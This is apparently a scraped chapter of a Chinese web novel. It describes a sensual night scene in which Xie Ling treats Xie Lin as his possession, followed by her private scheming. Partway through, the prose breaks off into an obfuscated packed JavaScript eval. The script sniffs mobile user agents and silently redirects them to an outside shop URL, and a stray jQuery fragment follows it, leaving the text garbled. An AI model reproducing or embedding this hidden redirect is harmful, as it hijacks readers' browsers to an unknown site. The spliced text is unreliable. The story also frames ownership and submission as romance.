夜深了。
谢琳在柔软的大床上陷入沉睡。
周末两日的放松和独自思考的疲惫,让她睡得比平时沉些。
客房的窗帘没有拉严,一缕清冷的月光透过缝隙,在地板上投下狭长的光斑。
不知过了多久,睡梦中的她,隐约感觉到身后的床垫微微下陷。
一股微凉的、带着湿意的气息靠近,混杂着熟悉的、清冽的沐浴露味道。
不是吧?这么晚还来?!
下一秒,一只带着凉意的手臂,从她颈下穿过,另一只手臂则环住了她的腰,将她往后一带,后背便紧紧贴上了一具温热坚实的胸膛。
谢琳的睡意瞬间消散了大半,身体几不可察地僵硬了一瞬。
但熟悉的触感和气息让她立刻明白,不能躲。
她没有动,也没有出声,只是任由自己陷在那个怀抱里,心跳在安静的夜里渐渐清晰。
谢凛没有说话,只是将脸埋在她后颈的发丝间,深深吸了口气。
他的呼吸温热,拂过她敏感的皮肤,激起一阵细微的战栗。
环在她腰间的手,开始不紧不慢地摩挲着她身上单薄丝质睡衣的布料,掌心温度透过衣料,清晰地传递过来。
他的动作并不急躁,甚至有些懒洋洋的,带着某种……确认般的漫不经心。
他在确认,确认自己是否真的可以对她为所欲为,确认这个“所有物”是否在任何时候、任何状态下,都会毫无保留的接纳他。
谢琳的不自在感慢慢褪去。
身体在黑暗中似乎比清醒时更诚实。
背后紧贴的胸膛宽厚温热,奇异地让她感到一种……安心?
或者说,是一种扭曲的归属感。
这具身体仿佛早已熟悉了这种被另一个“自己”气息包裹的感觉,甚至有些贪恋。
她没出息地发现,自己竟然有点受用。
或许是这具身体太过敏感,或许是黑暗中卸下了部分心防,也或许……是灵魂深处某些她自己都不愿承认的、对自己全身心包容的冲动……
她轻轻动了动,调整了一个更舒适的姿势,将后脑勺更贴近他的下颌,身体也微微向后蜷缩,更紧地嵌进他怀里。
这是一个无声的、全然的顺从和接纳的信号。
谢凛似乎感受到了她的配合,喉间发出一声几不可闻的低哼,像是满意。
他摩挲着她腰间的手,缓缓上移,隔着睡衣,覆上了她的肩膀,不轻不重地揉捏。
另一只原本垫在她颈下的手,也抽了出来,指尖缠绕起她散落在枕上的发丝,一圈一圈,带着点狎昵的玩弄意味。
他的吻落在她后颈,起初只是轻触,然后是细细的啃咬,带着湿润的痕迹,顺着她脊椎的凹陷一路向下,隔着薄薄的睡衣布料,激起一阵阵酥麻的涟漪。
他的呼吸渐渐加重,喷洒在她肌肤上,温度灼人。
谢琳的身体不由自主地紧绷,又在他持续的触碰下微微颤抖。
睡衣的肩带被他用牙齿轻轻扯下,温热的唇舌随即覆上裸露的肩头,留下湿热的印记。
她忍不住发出一声细弱的呜咽,手指无意识地抓住了身下的床单。
“冷吗?”谢凛终于开口,声音在她耳后响起,带着事后的沙哑和一丝慵懒的调笑,气息灼热地喷在她耳廓。
谢琳摇了摇头,发丝擦过他的脸颊。
她说不出来话,所有的感官似乎都集中在了被他触碰和亲吻的地方。
谢凛低笑一声,将她整个人转了过来,面对着自己。
黑暗中,彼此的面容都看不太真切,只有近在咫尺的呼吸,和对方眼中映着窗外微光的、模糊的亮。
他低头,吻住了她的唇。
这个吻不像昨晚那般粗暴急迫,而是带着一种慢条斯理的探索和品尝。
他含住她的下唇,轻轻吮吸,舌尖细细描摹着她的唇形,然后才不疾不徐地探入,与她纠缠。
吻得很深,很耐心,带着一种掌控节奏的游刃有余。
谢琳被动地承受着,渐渐也开始生涩地回应。
黑暗中,视觉被剥夺,其他感官变得格外敏锐。
他唇舌的温度和力度,他身上清冽又带着情欲的气息,他胸膛传来的沉稳心跳,他手臂环抱的力道……所有的一切,都汇聚成一张细密的网,将她笼罩。
衣物不知何时被褪去,肌肤毫无阻隔地相贴。
谢凛依旧不疾不徐。
他探索着她身体的每一处敏感,指尖、唇舌所过之处,轻易便能挑起她无法自控的战栗和喘息。
谢琳的意识在情潮的冲刷下渐渐涣散,只能紧紧攀附着他,细碎的呜咽和呻吟溢出唇畔,又被他的吻吞没。
……
不知过了多久,激烈终于缓缓退去。
谢琳浑身脱力地瘫软在凌乱的床褥间,汗水浸湿了鬓发,粘在潮红的脸颊上。
她胸口剧烈起伏,眼神迷离地望着昏暗的天花板,大脑一片空白,只有身体深处残留的、阵阵发软的余韵。
谢凛侧躺在她身边,手臂依然占有性地环着她的腰,将她揽在怀里。
他的呼吸也比平时急促,胸膛微微起伏,但显然比她要平静得多。
他低下头,吻了吻她汗湿的额头,然后沿着她的鼻梁,一路轻啄到她微肿的唇瓣,带着些许温存和一种满足的慵懒。
“这么经不起弄?”他低声问,指尖将她颊边湿漉漉的发丝拨到耳后,动作竟有几分轻柔,但语气里那点恶劣的调笑依旧清晰。
谢琳累得连手指都不想动,只是从喉咙里发出一点模糊的、类似呜咽的鼻音,算是回应。
身体的感觉很复杂,极致的疲惫,细微的酸痛,还有一种难以言喻的……
谢凛似乎很享受她这副乖巧又茫然的模样。
他没有立刻起身,也没有说话,只是有一下没一下地抚摸着她光滑的脊背,像在安抚,又像在继续确认所有权。
房间里很安静,只有两人逐渐平复的呼吸声,和窗外隐约传来的、城市的夜籁。
过了一会儿,谢凛忽然开口,声音在寂静中显得清晰:“苏软软。”
这个名字让谢琳昏沉的意识骤然清醒了一丝。
她睫毛颤了颤,没睁眼,也没应声,只是身体几不可察地绷紧了一瞬。
谢凛察觉到了她细微的反应,手指在她背上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510081|202957||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
轻轻划了一下,继续用那种平静无波的语气说道:“她家和我家,有点旧交。我父亲知道了,让我……好好跟她相处。”
谢琳眼神闪过一丝疑惑。
说实话,她有点不太明白谢凛为什么突然跟她说这个。
难道是自己对他毫无威胁,所以在和自己炫耀?!
谢琳已经在心里给自己做了明确的定位。
她虽然觉醒了,认知上比这个世界的谢凛高一个层次,
但处境却有些堪忧。
仔细想想,黑猫那狗东西让自己成为这样的身份,简直太危险了……
虽然阴沉了些,但聪明、美貌集一身,又没有能力自保的女人,
简直是灾难中的灾难。
如果不是谢凛,而是其他任何一个有权力或者财力的变态盯上自己……
恐怕自己就是会消失于无形。
可恨的是,现在她就是处在这种水深火热之中。
唯一的优势在于,自己会哄“自己”。
她在他怀里轻轻动了动,将脸更贴近他温热的胸膛,声音带着事后的沙哑和温顺,低声问:“那……恭喜主人了,需要我……做什么吗?”
工具人,不需要问缘由,也不需要表露任何个人情绪,只关心“任务”。
至于被谢凛出生入死了……
……那不算!
她不过是在为“自己”排忧解难。
这是无法避免的。
当然,有机会的话,她还是更想对苏软软下手来着。
谢凛低低地笑了一声,胸腔的震动传递过来。
他捏了捏她的后颈,像对待一只听话的宠物。“暂时不用。你只要像现在这样……听话就行。”
“嗯。”谢琳应了一声,不再多问。心里却快速盘算起来。
谢凛不会因为两家有交情而对苏软软持续追求的……
他肯定会不耐烦的。
不过,现在“剧情”已经偏离了轨道,她也无法完全预料到谢凛的举动就是了。
“不过,”谢凛的话锋忽然一转,手指沿着她的脊椎缓缓下滑,带起一阵微妙的痒意,“你刚才……反应还挺大。”
他话题转得太快,谢琳愣了一下,随即脸颊控制不住迅速滚烫起来。
她知道他指的是什么。
这身体确实太……
所有女人都这样?
谢琳还真不清楚。
她抿了抿唇,没说话,只是将脸埋得更深了些,做出害羞的样子。
这副模样似乎取悦了谢凛。
他没再继续那个话题,只是将她又搂紧了些,让她完全贴合着自己的身体曲线。
“睡吧。”他终于说道,声音里带上一丝倦意,但环着她的手臂没有丝毫放松,似乎是不准备回自己的房间。
谢琳靠在他怀里,听着他逐渐平稳的心跳,鼻尖是他身上特有的、浓郁的气息。
身体的疲惫如潮水般涌上,但大脑却异常清醒。
得快点搞钱才行了……
谢凛的怀抱温暖而牢固,却也像一道无形的枷锁。
她的意识终于渐渐模糊,在黑暗中缓缓闭上眼睛。